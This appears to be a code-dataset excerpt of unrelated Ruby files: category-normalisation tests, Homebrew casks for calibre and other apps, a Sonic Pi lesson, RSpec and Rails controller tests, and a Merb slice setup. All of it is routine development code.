assert_equal "Beginner Men", Category.normalize_spelling("Begin Men"), "Begin Men"
assert_equal "Beginner Men", Category.normalize_spelling("Beginners Men"), "Beginners Men"
assert_equal "Beginner", Category.normalize_spelling("Beg:"), "Beg:"
assert_equal "Beginner", Category.normalize_spelling("Beginning"), "Beginning"
assert_equal "Women 30+", Category.normalize_spelling("Women 30 & Over"), "Women 30 & Over"
assert_equal "Women 30+", Category.normalize_spelling("Women 30 and Over"), "Women 30 and Over"
assert_equal "Women 30+", Category.normalize_spelling("Women 30 and older"), "Women 30 and older"
assert_equal "Women 30+", Category.normalize_spelling("Women 30>"), "Women 30>"
assert_equal "Co-ed", Category.normalize_spelling("Co-Ed"), "Co-Ed"
assert_equal "Co-ed", Category.normalize_spelling("Coed"), "Coed"
assert_equal "Clydesdale", Category.normalize_spelling("Clydesdales"), "Clydesdales"
assert_equal "Clydesdale", Category.normalize_spelling("Clydsdales"), "Clydsdales"
assert_equal "Clydesdale 200+", Category.normalize_spelling("Clyde 200+"), "Clyde 200+"
assert_equal "Clydesdale", Category.normalize_spelling("Clydes"), "Clydes"
assert_equal "Clydesdale 200+", Category.normalize_spelling("Clyde 200+ Lbs"), "Clyde 200+ Lbs"
assert_equal "Clydesdale 210+", Category.normalize_spelling("Clyde 210+ Lbs"), "Clyde 210+ Lbs"
assert_equal "Clydesdale 210+", Category.normalize_spelling("Clyde 210 Lbs +"), "Clyde 210 Lbs +"
assert_equal "Clydesdale 210+", Category.normalize_spelling("Clyde 210lbs+"), "Clyde 210lbs+"
assert_equal "Clydesdale 200+", Category.normalize_spelling("Clyde 200 Lbs+"), "Clyde 200 Lbs+"
assert_equal "Clydesdale 200+", Category.normalize_spelling("Clyde 200 Lb+"), "Clyde 200 Lb+"
assert_equal "Clydesdale 200+", Category.normalize_spelling("Clyde 200 Lbs.+"), "Clyde 200 Lbs.+"
assert_equal "Masters Men", Category.normalize_spelling("Masters Men"), "Masters Men"
assert_equal "Masters Men", Category.normalize_spelling("Master's Men"), "Master's Men"
assert_equal "Masters Men", Category.normalize_spelling("Master Men"), "Master Men"
assert_equal "Masters men", Category.normalize_spelling("mstr men"), "mstr men"
assert_equal "Masters Men", Category.normalize_spelling("Mas Men"), "Mas Men"
assert_equal "Masters", Category.normalize_spelling("Mas"), "Mas"
assert_equal "Masters Men", Category.normalize_spelling("Mast. Men"), "Mast. Men"
assert_equal "Masters Men", Category.normalize_spelling("Mast Men"), "Mast Men"
assert_equal "Masters Men", Category.normalize_spelling("Maasters Men"), "Maasters Men"
assert_equal "Masters Men", Category.normalize_spelling("Mastes Men"), "Mastes Men"
assert_equal "Masters Men", Category.normalize_spelling("Mastres Men"), "Mastres Men"
assert_equal "Masters Men", Category.normalize_spelling("Mater Men"), "Mater Men"
assert_equal "Expert Men", Category.normalize_spelling("Exp. Men"), "Exp. Men"
assert_equal "Expert Men", Category.normalize_spelling("Ex Men"), "Ex Men"
assert_equal "Expert Men", Category.normalize_spelling("Exb. Men"), "Exb. Men"
assert_equal "Expert Men", Category.normalize_spelling("Exeprt Men"), "Exeprt Men"
assert_equal "Expert Men", Category.normalize_spelling("Exper Men"), "Exper Men"
assert_equal "Sport Men", Category.normalize_spelling("Sprt Men"), "Sprt Men"
assert_equal "Veteran Men", Category.normalize_spelling("Veteren Men"), "Veteren Men"
assert_equal "Veteran Men", Category.normalize_spelling("Veterans Men"), "Veterans Men"
assert_equal "Veteran Men", Category.normalize_spelling("Vet Men"), "Vet Men"
assert_equal "Veteran Men", Category.normalize_spelling("Vet. Men"), "Vet. Men"
assert_equal "Pro/Semi-Pro", Category.normalize_spelling("Pro/SemiPro"), "Pro/SemiPro"
assert_equal "Pro/Semi-Pro", Category.normalize_spelling("Pro/Semi Pro"), "Pro/Semi Pro"
assert_equal "Pro/Semi-Pro", Category.normalize_spelling("Pro/Semi-Pro"), "Pro/Semi-Pro"
assert_equal "Singlespeed", Category.normalize_spelling("Singlespeed"), "Singlespeed"
assert_equal "Singlespeed", Category.normalize_spelling("Singlespeeds"), "Singlespeeds"
assert_equal "Singlespeed", Category.normalize_spelling("SS"), "SS"
assert_equal "Singlespeed", Category.normalize_spelling("Single Speed"), "Single Speed"
assert_equal "Singlespeed", Category.normalize_spelling("Single Speeds"), "Single Speeds"
assert_equal "Singlespeed", Category.normalize_spelling("Sgl Spd"), "Sgl Spd"
assert_equal "Singlespeed", Category.normalize_spelling("Sgl Speed"), "Sgl Speed"
assert_equal "Singlespeed/Fixed", Category.normalize_spelling("Single Speed/Fixed"), "Single Speed/Fixed"
assert_equal "Senior Women", Category.normalize_spelling("Senoir Women"), "Senoir Women"
assert_equal "Senior Women", Category.normalize_spelling("Sr Women"), "Sr Women"
assert_equal "Senior Women", Category.normalize_spelling("Sr. Women"), "Sr. Women"
assert_equal "Tandem", Category.normalize_spelling("Tan"), "Tan"
assert_equal "Tandem", Category.normalize_spelling("Tand"), "Tand"
assert_equal "Tandem", Category.normalize_spelling("Tandems"), "Tandems"
assert_equal "U18", Category.normalize_spelling("18 and Under"), "18 and Under"
assert_equal "U18", Category.normalize_spelling("18 Under"), "18 Under"
assert_equal "U18", Category.normalize_spelling("18 & Under"), "18 & Under"
assert_equal "U14", Category.normalize_spelling("14&Under"), "14&Under"
assert_equal "Men U18", Category.normalize_spelling("Men 0-18"), "Men 0-18"
assert_equal "U14", Category.normalize_spelling("Under 14"), "Under 14"
assert_equal "U14", Category.normalize_spelling("14U"), "14U"
assert_equal "U14", Category.normalize_spelling("14 and U"), "14 and U"
assert_equal "Category 2 U18", Category.normalize_spelling("Category 2 U 18"), "Category 2 U 18"
assert_equal "U14", Category.normalize_spelling("14& U"), "14& U"
assert_equal "U18", Category.normalize_spelling("18 and Younger"), "18 and Younger"
assert_equal "Masters Men 60+", Category.normalize_spelling("13) Masters Men 60+"), "13) Masters Men 60+"
assert_equal "4000m pursuit", Category.normalize_spelling("4000M pursuit"), "4000M pursuit"
assert_equal "500m", Category.normalize_spelling("500M"), "500M"
assert_equal "500m", Category.normalize_spelling("500 M"), "500 M"
assert_equal "5K", Category.normalize_spelling("5 k"), "5 k"
assert_equal "2K", Category.normalize_spelling("2 km"), "2 km"
assert_equal "2K", Category.normalize_spelling("2km"), "2km"
assert_equal "200m", Category.normalize_spelling("200 meter"), "200 meter"
assert_equal "Category 4 Men Points Race 75 Laps", Category.normalize_spelling("Category 4 Men Points Race 75 Laps"), "Category 4 Men Points Race 75 Laps"
assert_equal "Flying Laps - Men", Category.normalize_spelling("Flying Laps - Men"), "Flying Laps - Men"
assert_equal "Flying Lap", Category.normalize_spelling("Flying Lap"), "Flying Lap"
assert_equal "Miss and Out", Category.normalize_spelling("Miss N' Out"), "Miss N' Out"
assert_equal "Miss and Out", Category.normalize_spelling("Miss-n-Out"), "Miss-n-Out"
assert_equal "Hardtail", Category.normalize_spelling("Hard tail"), "Hard tail"
assert_equal "Ironman", Category.normalize_spelling("Iron man"), "Iron man"
assert_equal "Hotspot", Category.normalize_spelling("Hot spot"), "Hot spot"
assert_equal "Varsity", Category.normalize_spelling("Vsty"), "Vsty"
assert_equal "Junior Varsity", Category.normalize_spelling("JV"), "JV"
assert_equal "Junior Varsity", Category.normalize_spelling("Jv"), "Jv"
assert_equal "Junior Varsity", Category.normalize_spelling("Varsity Junior"), "Varsity Junior"
assert_equal "Men 2/3/4", Category.normalize_spelling("M 234"), "M 234"
assert_equal "Men 3", Category.normalize_spelling("M 3"), "M 3"
assert_equal "Men 4/5", Category.normalize_spelling("M 4/5"), "M 4/5"
assert_equal "Men Pro/1/2", Category.normalize_spelling("M P/1/2"), "M P/1/2"
assert_equal "Masters 30+", Category.normalize_spelling("M 30+"), "M 30+"
assert_equal "Masters Men 30+", Category.normalize_spelling("Mm 30+"), "Mm 30+"
assert_equal "Men 4/5", Category.normalize_spelling("Men 4/5s"), "Men 4/5s"
assert_equal "Pro/1/2", Category.normalize_spelling("Pr/1/2"), "Pr/1/2"
end
test "#split_camelcase" do
assert_equal "Junior Men", Category.split_camelcase("JuniorMen"), "JuniorMen"
assert_equal "Master Men", Category.split_camelcase("MasterMen"), "MasterMen"
assert_equal "SENIOR MEN", Category.split_camelcase("SENIOR MEN"), "SENIOR MEN"
assert_equal "senior men", Category.split_camelcase("senior men"), "senior men"
assert_equal "Singlespeed/Fixed", Category.split_camelcase("Singlespeed/Fixed"), "Singlespeed/Fixed"
assert_equal "Men 30+", Category.split_camelcase("Men30+"), "Men30+"
assert_equal "Women 30+", Category.split_camelcase("Women30+"), "Women30+"
end
end
end
| 73.309091 | 160 | 0.699405 |
3904e123540362855dc1deed9eb9c1722c3e44c7
| 203 |
cask 'sqwiggle' do
version :latest
sha256 :no_check
url 'https://www.sqwiggle.com/download/mac'
name 'Sqwiggle'
homepage 'https://www.sqwiggle.com'
license :gratis
app 'Sqwiggle.app'
end
| 16.916667 | 45 | 0.704433 |
e21e4c9f1b6ab4a47af2251cfcbde0d642328d9e
| 2,214 |
cask "calibre" do
if MacOS.version <= :high_sierra
version "3.48.0"
sha256 "68829cd902b8e0b2b7d5cf7be132df37bcc274a1e5720b4605d2dd95f3a29168"
url "https://download.calibre-ebook.com/#{version}/calibre-#{version}.dmg"
else
version "4.23.0"
sha256 "422b8f452f2d801f612f28f262421a8b18195c5f9473c0997b828d6f4b91b005"
# github.com/kovidgoyal/calibre/ was verified as official when first introduced to the cask
url "https://github.com/kovidgoyal/calibre/releases/download/v#{version}/calibre-#{version}.dmg"
appcast "https://github.com/kovidgoyal/calibre/releases.atom"
end
name "calibre"
homepage "https://calibre-ebook.com/"
app "calibre.app"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-complete"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-customize"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-debug"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-parallel"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-server"
binary "#{appdir}/calibre.app/Contents/MacOS/calibre-smtp"
binary "#{appdir}/calibre.app/Contents/MacOS/calibredb"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-convert"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-device"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-edit"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-meta"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-polish"
binary "#{appdir}/calibre.app/Contents/MacOS/ebook-viewer"
binary "#{appdir}/calibre.app/Contents/MacOS/fetch-ebook-metadata"
binary "#{appdir}/calibre.app/Contents/MacOS/lrf2lrs"
binary "#{appdir}/calibre.app/Contents/MacOS/lrfviewer"
binary "#{appdir}/calibre.app/Contents/MacOS/lrs2lrf"
binary "#{appdir}/calibre.app/Contents/MacOS/markdown-calibre"
binary "#{appdir}/calibre.app/Contents/MacOS/web2disk"
zap trash: [
"~/Library/Caches/calibre",
"~/Library/Preferences/calibre",
"~/Library/Preferences/net.kovidgoyal.calibre.plist",
"~/Library/Saved Application State/com.calibre-ebook.ebook-viewer.savedState",
"~/Library/Saved Application State/net.kovidgoyal.calibre.savedState",
]
end
| 47.106383 | 100 | 0.749774 |
4aac949ecdb54eea43ab05a61bd25791fcb009a5
| 446 |
# Lesson 12 - Rhythm 5 - Half Beat Bounce
# Knockin' on Heaven's Door - Bob Dylan
require "#{Dir.home}/ruby/pianoforall/section01/lesson12/half_beat_bounce"
use_synth :piano
DELAY = 0.7
half_beat_bounce(:G4, delay: DELAY)
half_beat_bounce(:D4, delay: DELAY)
2.times do
half_beat_bounce(:A4, :minor, delay: DELAY)
end
half_beat_bounce(:G4, delay: DELAY)
half_beat_bounce(:D4, delay: DELAY)
2.times do
half_beat_bounce(:C4, delay: DELAY)
end
| 24.777778 | 74 | 0.751121 |
0372f4488751f95a3d06bd67b4af4df3e65f8594
| 2,662 |
require 'spec_helpers/boot'
if defined?(Rails)
describe Protector::Engine do
before(:all) do
Combustion.initialize! :active_record do
config.protector.paranoid = true
config.action_controller.action_on_unpermitted_parameters = :raise
end
Protector.activate!
unless Protector::Adapters::ActiveRecord.modern?
ActiveRecord::Base.send(:include, ActiveModel::ForbiddenAttributesProtection)
ActiveRecord::Base.send(:include, Protector::ActiveRecord::Adapters::StrongParameters)
end
end
after(:all) do
Protector.config.paranoid = false
end
it "inherits Rails config" do
Protector.config.paranoid?.should == true
Protector.config.strong_parameters?.should == true
end
describe "strong_parameters" do
before(:all) do
load 'migrations/active_record.rb'
module FluffyExt
extend ActiveSupport::Concern
included do
protect do
can :create, :string
can :update, :number
end
end
end
Fluffy.send(:include, FluffyExt)
end
let(:dummy) do
Class.new(ActiveRecord::Base) do
def self.model_name; ActiveModel::Name.new(self, nil, "dummy"); end
def self.name; 'Dummy'; end
self.table_name = "dummies"
has_many :fluffies
accepts_nested_attributes_for :fluffies
protect do
can :create, :string
can :update, :number
end
end
end
def params(*args)
ActionController::Parameters.new *args
end
it "creates" do
expect{ dummy.restrict!.new params(string: 'test') }.to_not raise_error
expect{ dummy.restrict!.create(params(string: 'test')).delete }.to_not raise_error
expect{ dummy.restrict!.create!(params(string: 'test')).delete }.to_not raise_error
expect{ dummy.restrict!.new params(number: 1) }.to raise_error
end
it "updates" do
instance = dummy.create!
expect{ instance.restrict!.assign_attributes params(string: 'test') }.to raise_error
expect{ instance.restrict!.assign_attributes params(number: 1) }.to_not raise_error
end
it 'creates with nested attributes' do
expect{ dummy.restrict!.new params(string: 'test',
fluffies_attributes: [{string: 'test'}]) }.to_not raise_error
expect{ dummy.restrict!.new params(string: 'test',
fluffies_attributes: [{number: 1}]) }.to raise_error
end
end
end
end
| 30.25 | 104 | 0.613449 |
bf6e1f90d10307edf16ba999dd8e358e0a56b67c
| 1,007 |
require 'rails_helper'
RSpec.describe StopsController, type: :controller do
let(:stop) { create(:stop) }
let(:stop_params) do
{
'stops-search-txt': "Main and Washington, Stop #{stop.stop_id}",
'transfer': "1",
stop: {
id: stop.stop_id
}
}
end
describe "GET 'index'" do
it "returns the index page with success" do
get :index
expect(response).to be_success
expect(response.status).to eq 200
expect(response).to have_http_status 200
end
end
describe "POST 'plot'" do
it "redirects to the stop page" do
post :plot, params: stop_params
expect(response.status).to eq 302
expect(response).to redirect_to stop_path(id: stop.stop_id, transfer: stop_params[:transfer])
end
end
describe "GET 'show'" do
it "renders the show view for a stop" do
get :show, params: { id: stop.stop_id }
expect(response.status).to eq 200
expect(subject).to render_template :show
end
end
end
| 25.820513 | 99 | 0.641509 |
ed56f0d956a86f913cd874445ab0b9f57c3b078c
| 3,452 |
if defined?(Merb::Plugins)
$:.unshift File.dirname(__FILE__)
dependency 'merb-slices', :immediate => true
Merb::Plugins.add_rakefiles "rotoscop/merbtasks", "rotoscop/slicetasks", "rotoscop/spectasks"
# Register the Slice for the current host application
Merb::Slices::register(__FILE__)
# Slice configuration - set this in a before_app_loads callback.
# By default a Slice uses its own layout, so you can swicht to
# the main application layout or no layout at all if needed.
#
# Configuration options:
# :layout - the layout to use; defaults to :rotoscop
# :mirror - which path component types to use on copy operations; defaults to all
Merb::Slices::config[:rotoscop][:layout] ||= :rotoscop
# All Slice code is expected to be namespaced inside a module
module Rotoscop
# Slice metadata
self.description = "Rotoscop is a minimalistic CMS that allows you to create pages and put elements inside this page, with different styles and format."
self.version = "1.0.0"
self.author = "Legodata"
# Stub classes loaded hook - runs before LoadClasses BootLoader
# right after a slice's classes have been loaded internally.
def self.loaded
::Rotoscop::Helpers.setup
end
# Initialization hook - runs before AfterAppLoads BootLoader
def self.init
end
# Activation hook - runs after AfterAppLoads BootLoader
def self.activate
end
# Deactivation hook - triggered by Merb::Slices.deactivate(Rotoscop)
def self.deactivate
end
# Setup routes inside the host application
#
# @param scope<Merb::Router::Behaviour>
# Routes will be added within this scope (namespace). In fact, any
# router behaviour is a valid namespace, so you can attach
# routes at any level of your router setup.
#
# @note prefix your named routes with :rotoscop_
# to avoid potential conflicts with global named routes.
def self.setup_router(scope)
::Rotoscop::Router.setup(scope)
end
end
# Setup the slice layout for Rotoscop
#
# Use Rotoscop.push_path and Rotoscop.push_app_path
# to set paths to rotoscop-level and app-level paths. Example:
#
# Rotoscop.push_path(:application, Rotoscop.root)
# Rotoscop.push_app_path(:application, Merb.root / 'slices' / 'rotoscop')
# ...
#
# Any component path that hasn't been set will default to Rotoscop.root
#
# Or just call setup_default_structure! to setup a basic Merb MVC structure.
Rotoscop.setup_default_structure!
use_orm :datamapper
merb_version = ">= 1.0.7.1"
dependency 'merb-assets', merb_version
dependency 'merb-helpers', merb_version
dependency 'merb_datamapper', merb_version
dependency 'merb-builder', "0.9.8"
dm_gems_version = ">= 0.9.9"
dependency "dm-core", dm_gems_version
dependency "dm-aggregates", dm_gems_version
dependency "dm-migrations", dm_gems_version
dependency "dm-timestamps", dm_gems_version
dependency "dm-types", dm_gems_version
dependency "dm-validations", dm_gems_version
dependency "dm-tags", dm_gems_version
dependency "dm-is-tree", dm_gems_version
dependency "haml", ">=2.1.0"
dependency "merb-haml", merb_version
dependency "chriseppstein-compass", :require_as => 'compass'
# Add dependencies for other Rotoscop classes below.
require "rotoscop/helpers"
require "rotoscop/router"
end
| 34.178218 | 156 | 0.705098 |
08414f8a8e312659a73944b13e409b7c9041865a
| 677 |
cask 'bbc-iplayer-downloads' do
version '2.12.4'
sha256 'a014a797d01d7eb488482601c856837a5c58e712665ca2ac72a568c98cbc4ddf'
# live-downloads-app-bucket-staticassetsbucket-ydn3z4ggyaof.s3.amazonaws.com/ was verified as official when first introduced to the cask
url "https://live-downloads-app-bucket-staticassetsbucket-ydn3z4ggyaof.s3.amazonaws.com/releases/darwin-x64/BBCiPlayerDownloads-#{version}.dmg"
appcast 'https://macupdater.net/cgi-bin/check_urls/check_url_redirect.cgi?url=https://downloads-app.iplayer.api.bbc.co.uk/stable/darwin-x64'
name 'BBC iPlayer Downloads'
homepage 'https://www.bbc.co.uk/iplayer/install'
app 'BBC iPlayer Downloads.app'
end
| 52.076923 | 145 | 0.802068 |
1141feeff73547f9abc9b3b4302928f7a6138e13
| 30,195 |
require 'abstract_unit'
require 'controller/fake_controllers'
require 'active_support/json/decoding'
class TestCaseTest < ActionController::TestCase
class TestController < ActionController::Base
def no_op
render :text => 'dummy'
end
def set_flash
flash["test"] = ">#{flash["test"]}<"
render :text => 'ignore me'
end
def set_flash_now
flash.now["test_now"] = ">#{flash["test_now"]}<"
render :text => 'ignore me'
end
def set_session
session['string'] = 'A wonder'
session[:symbol] = 'it works'
render :text => 'Success'
end
def reset_the_session
reset_session
render :text => 'ignore me'
end
def render_raw_post
raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
render :text => request.raw_post
end
def render_body
render :text => request.body.read
end
def test_params
render :text => params.inspect
end
def test_uri
render :text => request.fullpath
end
def test_format
render :text => request.format
end
def test_query_string
render :text => request.query_string
end
def test_protocol
render :text => request.protocol
end
def test_headers
render text: request.headers.env.to_json
end
def test_html_output
render :text => <<HTML
<html>
<body>
<a href="/"><img src="/images/button.png" /></a>
<div id="foo">
<ul>
<li class="item">hello</li>
<li class="item">goodbye</li>
</ul>
</div>
<div id="bar">
<form action="/somewhere">
Name: <input type="text" name="person[name]" id="person_name" />
</form>
</div>
</body>
</html>
HTML
end
def test_xml_output
response.content_type = "application/xml"
render :text => <<XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
<area>area is an empty tag in HTML, raising an error if not in xml mode</area>
</root>
XML
end
def test_only_one_param
render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
end
def test_remote_addr
render :text => (request.remote_addr || "not specified")
end
def test_file_upload
render :text => params[:file].size
end
def test_send_file
send_file(File.expand_path(__FILE__))
end
def redirect_to_same_controller
redirect_to :controller => 'test', :action => 'test_uri', :id => 5
end
def redirect_to_different_controller
redirect_to :controller => 'fail', :id => 5
end
def create
head :created, :location => 'created resource'
end
def delete_cookie
cookies.delete("foo")
render :nothing => true
end
def test_assigns
@foo = "foo"
@foo_hash = {:foo => :bar}
render :nothing => true
end
private
def generate_url(opts)
url_for(opts.merge(:action => "test_uri"))
end
end
def setup
super
@controller = TestController.new
@request = ActionController::TestRequest.new
@response = ActionController::TestResponse.new
@request.env['PATH_INFO'] = nil
@routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
r.draw do
get ':controller(/:action(/:id))'
end
end
end
class ViewAssignsController < ActionController::Base
def test_assigns
@foo = "foo"
render :nothing => true
end
def view_assigns
{ "bar" => "bar" }
end
end
class DefaultUrlOptionsCachingController < ActionController::Base
before_action { @dynamic_opt = 'opt' }
def test_url_options_reset
render text: url_for(params)
end
def default_url_options
if defined?(@dynamic_opt)
super.merge dynamic_opt: @dynamic_opt
else
super
end
end
end
def test_url_options_reset
@controller = DefaultUrlOptionsCachingController.new
get :test_url_options_reset
assert_nil @request.params['dynamic_opt']
assert_match(/dynamic_opt=opt/, @response.body)
end
def test_raw_post_handling
params = Hash[:page, {:name => 'page name'}, 'some key', 123]
post :render_raw_post, params.dup
assert_equal params.to_query, @response.body
end
def test_body_stream
params = Hash[:page, { :name => 'page name' }, 'some key', 123]
post :render_body, params.dup
assert_equal params.to_query, @response.body
end
def test_document_body_and_params_with_post
post :test_params, :id => 1
assert_equal("{\"id\"=>\"1\", \"controller\"=>\"test_case_test/test\", \"action\"=>\"test_params\"}", @response.body)
end
def test_document_body_with_post
post :render_body, "document body"
assert_equal "document body", @response.body
end
def test_document_body_with_put
put :render_body, "document body"
assert_equal "document body", @response.body
end
def test_head
head :test_params
assert_equal 200, @response.status
end
def test_head_params_as_sting
assert_raise(NoMethodError) { head :test_params, "document body", :id => 10 }
end
def test_process_without_flash
process :set_flash
assert_equal '><', flash['test']
end
def test_process_with_flash
process :set_flash, "GET", nil, nil, { "test" => "value" }
assert_equal '>value<', flash['test']
end
def test_process_with_flash_now
process :set_flash_now, "GET", nil, nil, { "test_now" => "value_now" }
assert_equal '>value_now<', flash['test_now']
end
def test_process_with_session
process :set_session
assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
end
def test_process_with_session_arg
process :no_op, "GET", nil, { 'string' => 'value1', :symbol => 'value2' }
assert_equal 'value1', session['string']
assert_equal 'value1', session[:string]
assert_equal 'value2', session['symbol']
assert_equal 'value2', session[:symbol]
end
def test_process_merges_session_arg
session[:foo] = 'bar'
get :no_op, nil, { :bar => 'baz' }
assert_equal 'bar', session[:foo]
assert_equal 'baz', session[:bar]
end
def test_merged_session_arg_is_retained_across_requests
get :no_op, nil, { :foo => 'bar' }
assert_equal 'bar', session[:foo]
get :no_op
assert_equal 'bar', session[:foo]
end
def test_process_overwrites_existing_session_arg
session[:foo] = 'bar'
get :no_op, nil, { :foo => 'baz' }
assert_equal 'baz', session[:foo]
end
def test_session_is_cleared_from_controller_after_reset_session
process :set_session
process :reset_the_session
assert_equal Hash.new, @controller.session.to_hash
end
def test_session_is_cleared_from_request_after_reset_session
process :set_session
process :reset_the_session
assert_equal Hash.new, @request.session.to_hash
end
def test_response_and_request_have_nice_accessors
process :no_op
assert_equal @response, response
assert_equal @request, request
end
def test_process_with_request_uri_with_no_params
process :test_uri
assert_equal "/test_case_test/test/test_uri", @response.body
end
def test_process_with_request_uri_with_params
process :test_uri, "GET", :id => 7
assert_equal "/test_case_test/test/test_uri/7", @response.body
end
def test_process_with_request_uri_with_params_with_explicit_uri
@request.env['PATH_INFO'] = "/explicit/uri"
process :test_uri, "GET", :id => 7
assert_equal "/explicit/uri", @response.body
end
def test_process_with_query_string
process :test_query_string, "GET", :q => 'test'
assert_equal "q=test", @response.body
end
def test_process_with_query_string_with_explicit_uri
@request.env['PATH_INFO'] = '/explicit/uri'
@request.env['QUERY_STRING'] = 'q=test?extra=question'
process :test_query_string
assert_equal "q=test?extra=question", @response.body
end
def test_multiple_calls
process :test_only_one_param, "GET", :left => true
assert_equal "OK", @response.body
process :test_only_one_param, "GET", :right => true
assert_equal "OK", @response.body
end
def test_assigns
process :test_assigns
# assigns can be accessed using assigns(key)
# or assigns[key], where key is a string or
# a symbol
assert_equal "foo", assigns(:foo)
assert_equal "foo", assigns("foo")
assert_equal "foo", assigns[:foo]
assert_equal "foo", assigns["foo"]
# but the assigned variable should not have its own keys stringified
expected_hash = { :foo => :bar }
assert_equal expected_hash, assigns(:foo_hash)
end
def test_view_assigns
@controller = ViewAssignsController.new
process :test_assigns
assert_equal nil, assigns(:foo)
assert_equal nil, assigns[:foo]
assert_equal "bar", assigns(:bar)
assert_equal "bar", assigns[:bar]
end
def test_assert_tag_tag
process :test_html_output
# there is a 'form' tag
assert_tag :tag => 'form'
# there is not an 'hr' tag
assert_no_tag :tag => 'hr'
end
def test_assert_tag_attributes
process :test_html_output
# there is a tag with an 'id' of 'bar'
assert_tag :attributes => { :id => "bar" }
# there is no tag with a 'name' of 'baz'
assert_no_tag :attributes => { :name => "baz" }
end
def test_assert_tag_parent
process :test_html_output
# there is a tag with a parent 'form' tag
assert_tag :parent => { :tag => "form" }
# there is no tag with a parent of 'input'
assert_no_tag :parent => { :tag => "input" }
end
def test_assert_tag_child
process :test_html_output
# there is a tag with a child 'input' tag
assert_tag :child => { :tag => "input" }
# there is no tag with a child 'strong' tag
assert_no_tag :child => { :tag => "strong" }
end
def test_assert_tag_ancestor
process :test_html_output
# there is a 'li' tag with an ancestor having an id of 'foo'
assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
# there is no tag of any kind with an ancestor having an href matching 'foo'
assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
end
def test_assert_tag_descendant
process :test_html_output
# there is a tag with a descendant 'li' tag
assert_tag :descendant => { :tag => "li" }
# there is no tag with a descendant 'html' tag
assert_no_tag :descendant => { :tag => "html" }
end
def test_assert_tag_sibling
process :test_html_output
# there is a tag with a sibling of class 'item'
assert_tag :sibling => { :attributes => { :class => "item" } }
# there is no tag with a sibling 'ul' tag
assert_no_tag :sibling => { :tag => "ul" }
end
def test_assert_tag_after
process :test_html_output
# there is a tag following a sibling 'div' tag
assert_tag :after => { :tag => "div" }
# there is no tag following a sibling tag with id 'bar'
assert_no_tag :after => { :attributes => { :id => "bar" } }
end
def test_assert_tag_before
process :test_html_output
# there is a tag preceding a tag with id 'bar'
assert_tag :before => { :attributes => { :id => "bar" } }
# there is no tag preceding a 'form' tag
assert_no_tag :before => { :tag => "form" }
end
def test_assert_tag_children_count
process :test_html_output
# there is a tag with 2 children
assert_tag :children => { :count => 2 }
# in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
assert_tag :tag => 'ul', :children => { :count => 2 }
# there is no tag with 4 children
assert_no_tag :children => { :count => 4 }
end
def test_assert_tag_children_less_than
process :test_html_output
# there is a tag with less than 5 children
assert_tag :children => { :less_than => 5 }
# there is no 'ul' tag with less than 2 children
assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
end
def test_assert_tag_children_greater_than
process :test_html_output
# there is a 'body' tag with more than 1 children
assert_tag :children => { :greater_than => 1 }, :tag => "body"
# there is no tag with more than 10 children
assert_no_tag :children => { :greater_than => 10 }
end
def test_assert_tag_children_only
process :test_html_output
# there is a tag containing only one child with an id of 'foo'
assert_tag :children => { :count => 1,
:only => { :attributes => { :id => "foo" } } }
# there is no tag containing only one 'li' child
assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
end
def test_assert_tag_content
process :test_html_output
# the output contains the string "Name"
assert_tag :content => /Name/
# the output does not contain the string "test"
assert_no_tag :content => /test/
end
def test_assert_tag_multiple
process :test_html_output
# there is a 'div', id='bar', with an immediate child whose 'action'
# attribute matches the regexp /somewhere/.
assert_tag :tag => "div", :attributes => { :id => "bar" },
:child => { :attributes => { :action => /somewhere/ } }
# there is no 'div', id='foo', with a 'ul' child with more than
# 2 "li" children.
assert_no_tag :tag => "div", :attributes => { :id => "foo" },
:child => {
:tag => "ul",
:children => { :greater_than => 2,
:only => { :tag => "li" } } }
end
def test_assert_tag_children_without_content
process :test_html_output
# there is a form tag with an 'input' child which is a self closing tag
assert_tag :tag => "form",
:children => { :count => 1,
:only => { :tag => "input" } }
# the body tag has an 'a' child which in turn has an 'img' child
assert_tag :tag => "body",
:children => { :count => 1,
:only => { :tag => "a",
:children => { :count => 1,
:only => { :tag => "img" } } } }
end
def test_should_not_impose_childless_html_tags_in_xml
process :test_xml_output
begin
$stderr = StringIO.new
assert_select 'area' #This will cause a warning if content is processed as HTML
$stderr.rewind && err = $stderr.read
ensure
$stderr = STDERR
end
assert err.empty?
end
def test_assert_tag_attribute_matching
@response.body = '<input type="text" name="my_name">'
assert_tag :tag => 'input',
:attributes => { :name => /my/, :type => 'text' }
assert_no_tag :tag => 'input',
:attributes => { :name => 'my', :type => 'text' }
assert_no_tag :tag => 'input',
:attributes => { :name => /^my$/, :type => 'text' }
end
def test_assert_tag_content_matching
@response.body = "<p>hello world</p>"
assert_tag :tag => "p", :content => "hello world"
assert_tag :tag => "p", :content => /hello/
assert_no_tag :tag => "p", :content => "hello"
end
def test_assert_generates
assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
end
